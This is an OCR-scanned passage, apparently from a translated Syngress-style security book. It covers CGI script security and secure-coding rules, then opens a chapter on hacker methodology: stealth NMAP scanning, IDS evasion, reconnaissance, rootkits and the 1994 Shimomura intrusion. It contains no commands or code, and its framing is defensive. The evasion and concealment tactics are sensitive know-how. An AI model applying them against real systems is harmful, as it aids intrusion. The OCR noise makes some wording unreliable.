해커들은 CGI 스크립트들을 읽을수 있으며 싸이트를 공격하기 위한 가능한 방법들을 찾 
아 낼수 있다. 이때 봉사기의 등록부구조와 사용자이름들, 통과암호들과 설명문들 혹은 
기 타 채용될수 있는 항목들에 대 한 정보를 찾을수 있다. 

CGI-BIN 에 스크립 트들과 프로그람들을 배 치하는것 은 역 시 유익하다. 왜 냐하면 오 
직 하나의 대 역 적 인 CGI 등록부에 허 락(허 용조건)들을 설정하는데 대 해서 만 관심하면 되 
기때문이다. 만일 허용조건들이 알맞게 설정되였다면 사용자들은 이 프로그람들을 실행 
할수는 있으나 등록부를 읽 거 나 쓰기하는 능력 은 가지 지 못한다. 맞지 않는 허 용조건들 
은 수많은 해 커 들이 싸이트를 공격하는데 CGI-BIN 을 리용하게 한다. 만일 사용자들이 
등록부에서 파일들을 읽을수 있다면 그들은 그안에 포함되여 있는 정보들을 볼수 있다. 
만일 쓰기허 락이 모든 사용자들 혹은 이 능력을 가지지 말아야 하는 사용자등록자리들에 
대 하여 설정 되 였다면 사용자들은 스크립 트를 다시 작성하거 나 초기 와 같은 이 름을 가지 
는 등록부에 프로그람을 올리적재할수 있다. 프로그람이나 스크립트가 후에 실행될 때 
기 대 하지 않는 행 위 (봉사기 를 재 기 동시 키 거 나 더 나쁘게 만드는것 과 같은 움직 임 )들이 
초래될수 있다. 

특별히 중요한것은 CGI-BIN 등록부에 대한 스크립트들과 프로그람들의 배치를 조직 
화하는것 이다. 만일 그것들을 같은 등록부에 배 치한다면 이 프로그람들을 찾고 보관하는 
것 은 대 단히 쉽다. 즉 CGI-BIN 에 그것 들을 배 치하는것 이 현명한 처 사이 다. 일부 장소 
들을 뛰여 넘어 널려 진 그것들을 가진 싸이트에서 단일한 스크립트를 찾는다고 생각해 
보시오. 시간이 흐름에 따라 이 특수한 스크립트를 찾으러는 시도를 버릴것이다. 여기서 
강력한 보안위 협 이 일 어 나면서 맞지 않는 허 락들을 가진 등록부에 그것 이 거 주하는 좋 
지 않은 기회가 많이 생긴다. 

CGI-BIN 은 CGI 스크립트들과 프로그람들을 보관하는데 리용한 등록부에 대한 보편 
적인 이름이기때문에 해커들이 처음에 이 등록부가 존재하는가를 알아 보고 다음은 타당 
치 않는 허 락들과 나쁜 코드작성 을 채 용하려 고 시 도할것 이 라는 느낌 이 든다. 이 때문에 
수많은 Web 봉사기 들은 이 등록부들에 대 하여 서 로 다른 이 름을 지 정할수 있는 가능성 
을 제 공한다. 실례 로 CGI 스크립 트들과 프로그람들이 CGI, PROGS 혹은 선택하는 임 의 
의 다른 이 름에 포함된다는것 을 지정할수 있다. 만일 CGI 취 약성들을 채 용하는 해커 가 
당신의 싸이트로 온다면 그 사람은 CGI-BIN 등록부가 없다고 찾을것 이 다. 해커 는 CGI- 
BIN 을 가지고 일하는 또 다른 싸이트로 계속 이동하는편이 보다 편리하다고 느끼고 가 
버릴수 있다. 

더 우기 이 미 설 명 한것 처 럼 ◦이취 약성 들을 살피 는 많은 해 킹 도구들은 오직 CGI-BIN 
만을 잠간 방문할것 이다. 

그러나 이 등록부가 없기때문에 도구들은 취약성들이 전혀 찾아 지지 않는다든가 아 
니 면 CGI 스크립 트들이 전혀 존재하지 않는다고 보여 줄것 이 다. 
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결 론 



CGI 프로그람들은 당신자체 로 자기 의 싸이 트를 해 킹하는데 리 용할수 있는 가능한 취 1 - 
약성들을 막을수 있는가에 따라 큰 러득을 줄수도 있고 큰 부담을 끼칠수도 있다. 우리〉；! 
는 봉사기 측에 서 CGI 프로그람들과 스크립 트들이 달리 며 Web 봉사기 와 외 부응용프로그람 
사이 중개자로서 그것이 행동한다는것을 이 장에서 보여 주었다. 그것들은 Web 에 있는$ 
수많은 싸이 트들에 서 리 용되 기때 문에 다양한 목적 을 위 하여 복무한다. 전자상거 래싸이 트 
들에 관해서 볼 때 그것들은 사무를 처리하는 방법에서 필수적이므로 많은 싸이트들은:， 
그것들이 없이는 동작할수 없다. 

약한 CGI 스크립 트들로부터 초래 되 는 끼 여 들기 들은 다양한 방법 으로 발생할수 있 다. ' "^ 
이것은 스크립트의 원천코드에로의 접근과 그것들에 포함된 취약성들의 찾기나 등록부구 ，. ’ 
조，사용자이 름들과 통과암호들을 보여 주는 정 보들의 관찰을 통하여 생길수 있 다. 이 
스크립트들을 조작함으로써 해커는 민감한 자료를 변화시키거나 볼수 있으며 혹은 사용 
자들이 싸이트를 리용할수 없게끔 봉사기를 심지어 꺼버릴수도 있다. 

많은 경 우 빈약한 CGI 스크립 트의 발생 은 프로그람을 작성 한 사람을 거꾸로 추적할 ' 
수 있게 한다. 하지만 좋은 코드작성 (코드화)실천들을 따르고 보편적인 문제거리들을 피/ : 
함으로써 우리는 이 와 갈은 문제거 리들을 우회할수 있으며 자기 의 싸이트보안을 손상시 
키 지 않고 CGI 프로그람들을 리용할수 있을것 이 다. 




요 약 


1. CGI 스크립트란 무엇이며 그것은 무엇을 하는가 



- CGI 는 외 부응용프로그람들에 접 속하기 위 하여 Web 봉사기 들에 의하여 리 용된 다. 


그것은 싸이트방문자와 Web 봉사기에 거주하고 있는 프로그람사이로 자료를 앞뒤 


로 통과하게 하는 방법 을 제 공한다. CGI 자체 는 프로그람이 아니 지 만 Web 봉사기| i 
와 인터네 트응용프로그람 혹은 스크립 트사이 에 정 보를 교환시키 는 중개 자이다. . 

- ◦(고는 봉사기측 스크립트와 프로그람들을 리용한다. 코드는 봉사기에서 실행되므 

로 싸이트를 방문할 때 어떤 형래의 열람기를 사용자가 리용하는가에는 관계 없다. f 

- CGI 사용들은 업 무거 래를 위 한 보다 복잡한 CGI 스크립 트들과 프로그람들을 리 용。여 
할수 있는 eBay 와 전자상거래싸이트들과 같은 싸이트들에서 찾아 진다. 즉 손님 
책들，잡담방들 그리고 설명문이나 반결합물양식들은 CGI 프로그람들에 대한 또 1 j 
다른 보편적 인 사용이 다. 

- ◦(고는 동적 이 면서 도 호상작용하는 Web 폐 지 를 제 공하려 고 할 때 그러 고 Web 봉, \ 
사기 의 함수들과 능력 들의 우월성 을 발휘 하는것 이 필요할 때 리 용하여 야 한다. 이 P 
것들은 자료기지에 있는 정보를 탐색하여 보관하고 양식들을 처리하며 봉사기에서 

리용되는 다른 방법들을 통해 접근할수 없는 정보를 리용한다는 특징적인 의미들 • 

을 담고 있다. 하지만 사용자와의 호상작용이 제한될 때 CGI 프로그람들을 리용하 •겨 
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는것을 고려하여 야 한다. 

- 많은 ISP 들은 빈약하게 작성된 스크립트들과 프로그람들이 보안위협이기때문에 
그 싸이트와 Web 봉사기에 숙박한 다른것들의 보안을 위험한 상태에 빠뜨릴수 있 
는 CGI 지원을 제공하지 않는다. 

2. 약한 CGI 스크립트로부터 초래되는 침입 

- Web 싸이트를 해 킹하는 한가지 가장 보편적인 방법 이 빈약하게 작성된 CGI 스크립 
트를 찾고 리용하는것이다. 해커들은 CGI 스크립트를 리용하여 싸이트에 대한 정 
보획득 혹은 보통 보거나 내리적재할수 없는 등록부들이나 파일들에 접근할수 있 
으므로 바라지 않는 여러가지 다른 행동들을 할수 있다. 

- 중요한것은 사용자들로부터 자료를 모으는데 리용된 양식 이 CGI 스크립트와 호환 
가능한가를 확인하는것 이 다. 

- 개발자의 코드는 접수하는 자료를 분석해야 하며 문제거리들을 처리하는 오유정정 
코드를 제공해야 한다. 오유정정은 CGI 스크립트로 통과하는 맞지 않거나 바라지 
않는 자료를 처리한다. 이것은 정확히 마당들이 채워 지지 않았거나 확실한 자료 
가 무시되였을 때 그것을 사용자에게 알리는 통보문을 되돌릴수 있다. 

- 포장기 ( Wrapper ) 프로그람들과 스크립 트들은 CGI 스크립 트들을 리 용할 때 보안을 
증대 시 키 는데 리 용할수 있 다. 이 것 들은 보 안시 험 ， CGI 공정 의 소유권조종을 제 공 
하므로 사용자들이 Web 봉사기의 보안을 손상시키지 않고 스크립트들을 달릴수 
있게 한다. 


3. CGI 스크립 트를 작성 하기 위한 언어 


- 콤파일식 CGI 프로그람은 C , C ++ 나 Visual Basic 와 같은 언어들로 작성될수 있다. 
이 형태의 프로그람을 가진 원천코드는 반드시 먼저 콤파일러프로그람을 통하여 
달려야 한다. 콤파일 러는 원천코드를 프로그람이 달리 는 콤퓨터 가 리 해할수 있게 
기계언어 로 변환한다. 일단 콤파일되 면 프로그람은 실행될수 있는 능력 을 가지게 
된 다. 

- 해석식언어는 번역과 실행을 결합한다. 사용자가 스크립트의 기능을 요구할 때 그 
것은 분석기라고 부르는 프로그람을 통해 달리는데 이것은 프로그람을 번역하고 
실행시킨다. 실례로 Perl 스크립트를 달릴 때 프로그람은 실행될 때마다 매번 번역 
된 다. 

- Unix 쉴프로그람들의 러용과 관련한 한가지 문제는 사용자입구와 다른 보안론의점 
들을 조종하는데서 다른 언어들보다 더 제한을 받는다는것 이 다. 

- Perl 은 CGI 스크립트들을 창조하는 보편적인 언어로 되고 있다. 새로운 프로그람 
작성 자들을 위한 좋은 선정언어 이기는 하지만 복잡한 프로그람들을 작성 하는데서 
는 빈약한 선정언어 로 된다고 생 각하는 착오를 범 하지 말아야 한다. Perl 과 관련 
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한 한가지 문제거리는 그것이 해석언어이기때문에 프로그람이 호출될 때마다 한걸 
음씩 번역되고 실행된다는것이다. 이것으로 하여 사용자가 제출하는 나쁜 자료가胃 I 
코드의 부분에 포함될수 있는 가능성 이 커진다. 

- C 나 C ++ 는 또 다른 선택언어이다. 인터네트프로그람들이 C 나 C ++ 를 가지고 창조로: 
될 때 일어 나는 일반적인 문제거리가 완충기자리넘침이다. 이것을 피하는 방법이 g 
양식에서 리용한 임의의 마당들에 대한 MAXSIZE 속성을 리용하는것이다. 이것은_ 
사용자가 보통수법 으로 입 력시키 는 자료크기 를 제 한할것 이 다. 


4. CGI 스크립 트를 리용하는 우월성 


서 


- CGI 는 모든 코드가 봉사기 에서 달러 기때문에 유익 하다. JavaScript , ActiveX 부-- ? 
분품， Java 애플레트 기타 의뢰기측 스크립트들과 프로그람들은 모두 사용자콤퓨^戶 
터에서 달린다. 그러나 이것은 명수급 해커들이 이 정보를 리용하여 싸이트를 공벌 
격할수 있는 가능성을 지어 준다. 

- CGI 를 가지고 우리는 콤파일된 프로그람들속에 코드를 숨기면서 그리 고 여 러 가지1 겨 
등록부들과 다른 방법들에 대한 허락들을 조종하면서 자기자신을 보호할수 있다.@ 

5. 안전한 CGI 스크립 트를 작성 하기 위한 규칙 




- 사용자호상작용을 제 한할것 

- 사용자들로부터의 입력을 믿지 말것 

- 민감한 자료를 보내는데 GET 를 리용하지 말것 

- 스크립 트에 민감한 정 보를 전혀 포함시키지 말것 

- 절대적으로 필요하지 않는이상 접근을 주지 말것 

- Web 봉사기와는 다른 콤퓨터에서 프로그람을 작성하며 스크립트들의 림시파일들| 
과 여벌파일들이 싸이트가 살아 움직이기전에 봉사기로부터 지워 졌는가를 정확히 
확인 할것 

- 임의의 제3부류 CGI 스크립트나 프로그람들을 전부 검사할것 


물음과 대답 




이 장의 물음에 대 한 대답은 저 자가 준것 이 다. 

문답들은 이 장에 서 서 술한 개 념 들을 리해 하고 실생 활을 통하여 체 험하도록 하는데 
도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 www . Syngress . ^ 
com/solutions 의 (Ask the Author ) (저자에게 문의)을 누르시오. 




물음: CGI 스크립 트들과 프로그람들을 작성 하기 위한 가장 좋은 언어 는 어 느 언어 인 
가? 

대 답: 비록 특정한 언어 를 리용하는 프로그람작성 자들이 이것 을 론한다 할지 라도 
CGI 스크립트들과 프로그람들을 작성하는《가장 좋은》언어는 하나도 없다. 
쉴스크립 트들은 일반적 으로 작은 프로그람들에 대 해서만 리용되는데 거 기서 
보안은 론의되지 않는다. 한편 보다 크고 복잡한 프로그람들은 C , C ++ 혹은 
Visual Basic 와 같은 언어들을 리용하는데 여기서 가장 보편적인 언어가 Perl 
이다. 

물음: CGI 프로그람을 작성할 때 우리는 사용자가 내 싸이트를 방문하기 위하여 리 
용하는 열람기의 형태에 대해 근심할 필요가 있는가? 

대답: 일반적으로 없다. CGI 프로그람들은 봉사기측에서 달리기때문에 아무런 코드 
도 실제로 의뢰기콤퓨터에서 달릴수 없다. CGI 프로그람들은 봉사기에서 달리 
기때문에 무슨 형태의 열람기에서 사용자가 달리고 있는가에는 상관이 없다. 

물음: 우리 는 오직 낡은 프로그람작성언어 들만 알고 있고 Perl , C , C ++ 나 Visual 
Basic 를 모른다. 그런데 나에게는 새 언어들을 배울 시간이 없다. 우리는 무 
엇을 할수 있는가? 

대 답: ◦이와 함께 일할수 있는 임의의 프로그람작성언어 는 CGI 프로그람들을 만드 
는메 리용될수 있다. 실례로 만일 Web 봉사기가 Unix 체계에서 달린다면 표 
준입출구를 리용하는 임의의 응용프로그람은 CGI 프로그람을 만드는데 리용될 
수 있을것이다. 

물음: 내가 Web 싸이트를 위한 의뢰기측과 봉사기측 스크립트를 러용할수 있는가 
혹은 내 가 이 러 저 러 한 제 한을 받지 않는가? 

대답: 의뢰기측과 봉사기측 스크립트는 둘 다 싸이트에서 리용될수 있다. 사실 우리 
는 자기 프로그람을 위하여 의뢰기측과 봉사기측 스크립트작성을 모두 러용할 
수 있다. 그것 이 CGI 프로그람에 제 출되 기전에 자료를 검 사하는 수많은 
JavaScript 들이 있 다. 하지만 CGI 프로그람이 보안리 유상 그것 이 수신하는 자 
료를 검사한다면 가장 좋은 일이 다. 더우기 Java 애플레트들이나 ActiveX 부 
분품들은 사용자대 면부처럼 리 용될수 있으므로 CGI 프로그람에 의 한 처 리를 
위 하여 Web 봉사기 에 자료를 동파시 킬수 있다. 

물음: 회사는 자기가 가지 고 있는 Web 봉사기를 달러지 못하고 인터네트봉사제공자 
를 러용한다. 그런데 ISP 는 CGI 스크립트들을 허락하지 않는다. 우리는 무엇 
을 할수 있는가? 

대답: 만일 ISP 가 자기들자체의 스크립트를 달리는 자기 고객들에게 완전히 모순되 
는 일을 하면 우리는 약간 다른 선택을 할수 있다. 많은 ISP 들은 CGI 프로그 
람들을 허락하지 않는다. 왜냐하면 그것들에서의 보안구멍들이 다른 고객들에 
게 속해 있는 싸이트들과 충돌할수 있기때문이다. 우리는 자기 싸이트를 또 
다른 ISP 로 이동시키거나 자기자체의 Web 봉사기를 취할수 있다. 


126 


제 5 장. 해킹수법과 도구 

이 장의 기본체계 

판 해커의 목적 

판 해킹의 5가지 단계 

판 사회 적공학 

판 고의 적 인 뒤 문공격 

판 코드나 프로그람작성환경 에 
고유한 약점의 리용 
必 판매되고 있는 도구 

(» 결론 
여 요약 


o 물음과 대답 



소 개 


해커들은《고급한 코드작성자》로 불리우고 있다. 모든 다른 전문가들과 마찬가지 
로 해커들은 어떤 공격에 앞서 다음과 같은 명백한 방법론들과 처리수법을 가지고 있다. 
해커들은 자기의 목적을 달성하기 위하여 개별적으로 그리고 림의 노력으로 대상을 선택 
하고 분석하며 일감을 설정한다. 여기서는 해킹에 대한 5가지 명백한 단계에 대하여 설 
명 한다. 

침 입 자들은 공격 대 상을 선 택 한후 공격 지 도를 작성 하여 야 한다. 이 공격 지 도는 해 커 
들이 자기들의 공격대상의 망，체계，응용프로그람이 어떻게 호상작용하는가를 정확하게 
리해하도록 도와 준다. 공격지도가 작성된후 침입 자들은 실행 계획을 세운다. 실행계획은 
해커 가 피 해 자체계 에 있는 취 약성 들을 발견하도록 도와 주며 침 입 기도를 더 잘 완성할수 
있게 한다. 이것은 해커가 자료기지를 추적하여 얻어낸 결함들과 취약성들을 리용하 
여 필요한것을 다 조사할수 있게 한다는것을 의 미한다. 비 록 그것 이 자그마한것 일지 라 
도 해커 가 피 해 자의 잠재 적취 약성 을 알게 하는데 도움을 줄수 있다. 해커 가 개 발자나 
또는 망관리 자가 사용하는 방법 에 있는 일 반적취 약성 들을 여 러 측면에 서 조사한다는 
것 을 알고 사용자들은 자기 들의 일 을 보호할수 있는 여 러 가지 도구들을 리용해 야 할 
것이다. 

우리 가 작성하는 코드가 해커 들자체 가 쓰는것과 같은 코드이 기때 문에 이것을 기회 로 
해킹이 진행되고 있다. 우선 그들이 무엇을 만드는가를 알아야 그들이 무엇을 하는가를 
잘 알수 있다. 즉 그들은 우리의 일감을 지켜 본다. 해커가 하는 다른 일은 Web 싸이 
트를 공격하기전에 그것을 세밀하게 조사하는것 이 다. 해커들은 우리 가 리용하는 최고의 
기 술적 수법，코드작성 에 리 용한 새 로운 언어，발견된 모든 리 론실천적 취 약성 을 가지 고 
현재흐름을 정지시 키기 위한 능력 을 키우고 있다. 

해커 들은 완전한 공격 을 시 작하는데 필요한 조사를 완성 한투 공격 하는데 가장 좋은 
입구점이 무엇인가를 결정한다. 입구점결정은 대단히 중요하다. 침입자는 함정으로 설치 
할수 있는 고의적인 뒤문이 만들어 질수 있기때문에 인차 눈에 띄우는 경로를 만들지 않 
는다. 명백한 입구점을 리용하는것은 그 해커가 다른 해커와 충돌할수 있는 원인으로 될 
수 있다. 입구점을 확정한후 해커는 계획대로 작업을 계속하여 체계에 깊숙히 침투한다. 
해커들은 그 어느 구역에서도 자기들의 흔적을 감추려고 하며 또한 검출을 막으려고 하 
는것이 아니라 마지막점에 도달할수 있는 더 좋은 기회를 노린다. 

이 의도를 달성 하기 위 하여 해커들은 자기들의 목적을 재빨리 실현할수 있는 도구와 
함께 독특한 특기를 가져야 한다. 이 도구들은 현대적이며 침입처리에 대한 구체적인 명 
세를 제공한다. 16진편집기와 오유수정프로그람 ( Debugger ) 은 해커가 잘 리용하고 있는 
도구이다. 개발자들이 이와 같은 도구를 빨리 리해하고 제품실현에 들어 가기전에 코드 
에 보안을 적 용하여 해 커 들의 악랄한 공격 으로부터 방어하게 하는것 이 좋다. 해 커 들은 
전형적으로 공격계획의 마지막정황를 처리하는데 일반적으로 이러한 도구(또는 그보다 
좋은 도구)를 리 용하려 고 한다. 실제 적 으로 최 후의 목적 은 전체 자료를 파괴할 때 까지 
허 락하지 않는 접근을 계속하자는데 있다. 

이 장은 해거들이 경 쟁 에서 자그마한 손해 도 보지 않기 위하여 리 용하는 도구들과 
기술수법들을 설명한다. 공격의 5가지 단계외에 우리는 해커의 목적과 그 목적을 달성하 
기 위하여 리 용하는 도구들을 설 명 한다. 
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이 장은 해커가 작업하는 방법적측면에 대하여 필요한 많은것을 개발자들에게 주는 
데 도움이 될것이다. 대체로 우리가 보안작업을 하는데 리용하는 많은 도구들은 그들이 
우리의 망과 코드를 채용하는데 리용하는 도구와 거의 같다. 

이 장을 원만히 학습하면 우리의 리익에 맞게 거꾸로 역습을 진행할수 있다. 

해커의 목적을 리해하는것은 이러한 역습을 진행하기 위한 좋은 출발로 될것이다. 


제 1 절. 해커의 목적 


력사적으로 침 입자에 대한 표상은 말단 콤퓨터에 몇시 간씩 마주 앉아서 이 따금 한번 
이상 실패한 시도들은 종이장에서 연필로 그어 버리면서 수동적으로 통과암호를 입력시 
켜 보는 사람으로 남아 있었다. 이러한 틀에 박힌 견해는 침입자를 어떤 경우에도 상업 
적거래나 정부와 같은 요새를 뚫고 들어 가는데 리용할수 있는 지금과는 다른 낡은 기술 
장비 로 무장한 지 하실 에 앉아 있는 기 술적 야만인 ( Tecno - go 比!) 으로 등장시 키 는 헐 리 우 
드형 ( Hollywood - style ) 의 씨 나리 오에 반영 되 여 왔다. 침 입 자의 솜씨 들은 전설 적 으로 
전해 지 고 있다. 그는 자기 가 리 용하는 하드웨 어 나 자기앞에 부닥친 난관이 무엇 이 든지 간 
에 어떤 신기한 마술로써 뜨거운 칼이 빠다를 녹여 자르듯이 가장 견고한 방어물도 뚫고 
나갈수 있다.현실세 계 에서는 실제적으로 침 입 자들의 솜씨 가 지난 시대와 현 시대수법들 
사이에서 나타나고 있다. 

사람들은 충분히 개선된 기술들과 기술수법들은 마술과 같다고 말한다. 그래서 현 
시대 해커들은 방지할수 없는것처럼 보인다. 해커는 많은 변화된 기술들을 솜씨 있게 리 
용하여 자기의 존재에 대한 침입징조는 최소화하고 목표에 대한 접근은 최대로 하여 목 
표체계 그자체를 혹심하게 손상시킬수 있다. 우리의 목적은 침입자가 리용하는 전술과 
기 술수법 들을 서 술하여 침 입 자의 《마술: Magic 》 이 전형 적 인 전자공학적 기 법 과 꼭 같다 
는것을 밝혀내는데 있다. 

1. 침입징조의 최소화 

체계 가입등록을 련속적 으로 공격하는 헐 리우드 ( Hollywood ) 형의 해커는 현재의 방 
화벽 들과 침 입 검 출체 계 ( IDS : Intrusion Detection Systems ) 속에 서 한시간동안 머 물러 
있지 않는다. 오늘의 침입자는 보다 더 좋은 정교한 도구들로 무장하고 있으며 더욱 자 
동화되고 지능화된 계획적인 공격을 진행하고 있다. 침입공격의 대상이 누구이든지간에 
그는 자기의 체계가 왜 선택되였는가를 이상하게 생각하지 않는다. 원인은 아주 많다. 
침 입 자는 주어 진 싸이트의 제품들과 봉사들에 대 하여 단순히 흥미를 가지고 가능한 모 
든 정 보를 얻 으러 할수도 있다. 침 입 자는 망의 사용자나 종업 원에 대 해서 개 인적악감을 
품을수 있다. 일부 경우 공격 당한 령역은 상위측 ( high - profile ) 싸이트로 될수도 있으며 
그것은 만일 완전히 관통되 였다면 많은《훌륭한 권한》을 침입 자에 게 내주게 될것 이 다. 
놀랍게도 일부 침입자들은 피해자체계를 완전히 뚫고 들어 와 쉽게 독차지한다. 어떠한 
동기에서든지 침입자는 임의의 주어 진 시간에 공격계획을 결정하는데서 어떻게，어디서， 
누가 그 망을 완전히 차지하고 있는가에 구속을 받지 않는다. 

침입자는 공격하려는 체계나 망을 선택한후 리용가능한 봉사들을 결정하기 위하여 
대체로 그에 대한 주사를 시작한다. 이 목적을 달성하기 위한 보다 일반적인 도구는 망 
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지 도 작 성 기 (Network Mapper ： NMAP ), 전 송 조 종 규 약 (Transmission Control 
Protocal : TCP ), 사용 자 자 료 묶 음 규 약 (User Datagram Protocal : EDP ) ， 인 터 네 트 규 약 
(Internet Protocal ： IP ), 스캐너 ( scanner ) 이 다. NMAP 는 여 러가지 서로 다른 주사형식 
을 지원하며 가장 중요한것은《스텔스: stealtti 》 주사이 다. 목표체계관리 자의 〈〈테 이 다 
감시속에서의 날기 : Flying under radar 》 는 침입자가 성공적으로 공격 하는데서 매우 
중요한데 스텔스주사는 눈치 채지 못하게 대부분의 방화벽과 망감시체계를 통과할수 있 
게 하는 우점을 가진다. 

이 주사를 리 용함으로써 침 입 자는 목표체 계 의 어 느 포구가 열 리 였는가를 결 정 할수 
있다. 인터 네트관련봉사들은 지적된 포구번호와 일 치하는 곳에 전송되며 침 입 자는 어느 
봉사들이 리용가능한가를 고속으로 추출할수 있다. 때로 침입자는 약점 이 많다고 생각되 
는 우편통신 전송규약 (Sendmail Transfer Protocol ： SMTP ) ，파일전송 규약 (File 
Transfer Protocol : FTP ), 하 이 퍼 본문전송규약 (Hyper Text Transfer Protocol ： 
HTTP ) 과 같은 특정한 봉사들을 몰래 리용하려고 한다. 만일 찾아 낸 봉사들이 사용불 
가능하면 침입자는 다른 체계로 인차 넘어 갈수 있다. 만일 봉사들을 리용할수 있다면 
침입자는 목표체계의 기본조작체계 ( OS ) 를 결정하기 위한 시도로써 공격계획을 추진시킬 
것이다. 

NMAP 는 목표체계의 어를 확인하는데 리용할수 있지만 OS - 추측주사는 쉽게 검출 
될수 있기때문에 계획한 공격이 저지 당할수 있다. 침입자는 그 어떤 경보도 울리는것을 
바라지 않기 때 문에 가능한껏 인터네 트정 보봉사를 대 신 조사할것 이 다. 

대부분의 인터네트봉사들은 자기의 OS 뿐아니 라 판매자 ( vendor ) 와 판본도 충분히 
지 적할수 있다. 침 입 자는 일 반적 으로 불안하게 구성 된 공개우편 ( SMTP ) 교체 와 공개 
HTTP 대 리의 리용을 통하여 가능한 여 러 방향에서 이 봉사들에 접근할수 있다. 이 전 
술은 침 입 자가 어 떤 특별 한 주소로부터 나오지 않고서 도 목표체 계 를 탐지할수 있게 한다. 

대부분의 망감시쏘프트웨어는 단일망주소에 의하여 합의된 어떠 한 결과도 체계접근 
에 통보하지 않으며 따라서 경보는 일어 나지 않을것 이 다. 침입자는 또한 자기의 봉사요 
구들이 등록되였을 때 자기 위치를 알려 주는것을 피한다. 

침 입 자는 체계의 고속침투를 제공하거 나 최소가입 등록을 수행할수 있는 봉사에 초점 
을 두고 이에 대한 보충적인 정보를 사용할수 있다. 이러한 봉사형식은 공격자에게 은밀 
하게 체계보안의 파괴를 일으킬수 있는 수단을 준다. 이 공격들은 IP 파괴를 리용하면서 
표준적 으로 유도된다. 이 IP 파괴는 침 입자가 IDS 를 자기에게 종속시켜 IDS 의 현 파케트 
뿐아니라 추가적인 파케트까지도 모두 무시하고 그 위치를 상실하게 함으로써 일어 난다. 
이 러한 공격은 침임자가 공격을 그만두거 나 목표체계가 완전히 관통될 때까지 유도된다. 

정 찰이 다 끝난 다음 로련한 침 입 자는 2시 간안에 다시 결 과를 검 토한다. 목표체 계안 
에 만들어 진 다양한 고속촬영 ( snapshot ) 을 통하여 주어 진 망에서 침 입 자를 연약한 련 
결고리로 인도할수 있는 커 다란 그림 이 나타나게 된다. 

2. 최대접근 

로련한 침입자는 전략의 원리를 알고 면밀한 사전준비와 계획이 없이는 공격하지 않 
는다. 이 목적을 달성하기 위하여 침입 자는 목표망에 대하여 광범한 정찰을 수행 할것 이 
다. 즉 종합적인 스캐너들의 집합을 축성하고 현재와 과거에 이록한 성과들의 거대한 집 
합을 정리하며 또 공격시에 자기의 대리로서 봉사할수 있는 불충분하게 구성된 체계를 
작성하고 공격시간을 심중하게 정하며 자기들이 체계를 관통한후 그 흔적을 덮어 버리는 
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것을 도와 줄수 있는 Rootkit 라고 부르는 많은 편의프로그람들을 정비한다. 이 뿌리모 
임 ( Rootkit ) 은 트로이목마프로그람의 설 치 로부터 기 입 변경 에 이르기까지의 모든것 이 다 
될수 있다. 

체계에 대한 광범한 정찰은 레코드령역에 대한 InterNIC 자료기지에서와 인터네트번 
호에 대 한 미 국자료기 지 ( ARIN : America Registry of Internet Numbers ) 에 서 사용할 
수 있는 대역레코드를 통하여 간단하게 진행할수 있다. 이외에도 목표싸이트정보를 고속 
복사하는 Google , Yahoo !, Altavista 와 같은 탐색엔진이 있다. 이 도구로써 그것을 다 
방문하지 않고도 한번에 체계에 대한 방대한 정보를 얻을수 있다. 더 나쁜것은 일부 싸 
이 트들이 망위 상 ( topology ) , 망설 비，특정 한 봉사기 에 서 사용할수 있 는 잠재 적 으로 민 
감한 정 보들까지 대 역적으로 렬거하는것 이 다. 개 별적 으로 주어 진 이 러한 정 보들은 해 롭 
지 않다. 이러한 개별적인 정보부분들이 합쳐 졌을 때 비전문가는 공격하려는 망의 부분 
과 념어 가려는 망의 부분에 대한 완전한 모양을 알수 있다. 

(j)m _ 

、구 Rootidt 는 일반적으로 침 입 자가 승인되지 않은 접근을 유지하게 할수 있는 프 

로그람 또는 프로그람집합이 다. UNIX 에서 접근의 최고준위를 《 Root 》 라고 부르며 
그러한 접근을 유지하는 공구 《 kit 》 같은것 이 조립된다. Rootkit 는 일반적으로 su , 
ps , is , 열쇠암호, 다른 체 계 감시 쏘프트웨어 와 같은 표준프로그람의 변경 된 판본으 
로 이 루어 진다. 좀더 복잡한 Rootkit 는 2진체 계 변화를 하지 않고 체 계연산의 가장 
기초적 인 요소들을 변경하는 핵심부분들과 공유된 서 고객체들을 포함할수 있다. 


주사와 채용들의 집합은 대부분 서로 다른 집합들로 이루어 질수 있다. 체계와 봉사 
의 취 약성 이 더 자주 발견될 때 보고서작성 자는《개 념의 증명 (proof of concept ) 》을 
포함할것이며 그것이 비록 자기 체계의 보안을 검증하기 위하여 체계관리자에게 주어 진 
다 하더라도 그것들이 정찰을 시도하는 반대측 비전문가에 의하여 리용될수 있으며 취약 
성이 있는 봉사를 실현하는 모든 주어 진 체계에 침입할수 있다. 

이 주사와 취약성을 가지고 변경함으로써 침입자는 약한 체계를 완전히 식별하고 관통하 
려는 기회를 더 조성 한다. 

불충분한 체계의 현 목록은 침입자의 출처를 표시하는데 아주 쓸모 있다. 보충적으 
로 침입자가 의심할바없이 서로 다른 여러개의 IP 주소로부터 체계를 조사할수 있다는것 
을 담보한다. 단과대학，상업부분，정부와 국내방송봉사의 모든 사용자들은 불합리하게 
구성된 인터네트에 있는 체계에 들어 갈수 있으며 공격자는 다른 체계와 망을 탐색할수 
있는 공격점으로서 그것을 실제로 리용할수 있다. 

시간조절 이 가장 중요하다. 대 담한 공격 자조차도 사용자들이 대 기상태 에 있고 체 
계 관리 자가 업무중에 있는 일반사무시 간에는 체계 를 공격하는것 을 삼가하고 있다. 체 
계에 대한 정찰에 따라 침입자는 직원들이 거의 없는 밤이나 주말 또는 명절날을 기다 
릴것이다. 

아마 잘 째여 진 명절공격은 1994년 캘니포니아주의 싼띠아고에서 성탄절 오후 2시 
경에 있은 프또무 시모무라 (Tsutomu shimomura ) 의 체계에 대한 공격이다. 

직원은 거의 없었고 대부분의 사람들은 자기의 가족한테 가 있었으며 시모무라자신 
는 씨에라 네바다에로의 휴양을 준비하면서 쎈프랜씨스코에 있었다. 공격자들은 공격을 
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개시하여 시모무라의 체계를 관통하였다. 만일 직원이 다 있었더라면 침입자의 체계관통 
이 보다 오래 지연되였을것 이였다. 이 사건은 케빈 미트닉크에 대한 추적，체포，기소로 
결속되였다(그러나 많은 보안전문가들은 미트닉크의 공격능력을 믿지 않았다. 더우기 이 
러한 침입은 미트닉크가 기소되여 재판 받게 된 증거로는 되지 않았다). 

공격계획이 실패한것은 계획에 오유가 있었기때문이며 이 오유는 침입자에게 있어서 
치명적인것이였다. 그러므로 침입자는 성공에 대한 어떠한 증거를 없애거나 감추기 위하 
여 많은 자동화된 체계변경편의프로그람 ( Rootkit ) 들을 자기의 요구에 맞게 가지고 있다. 
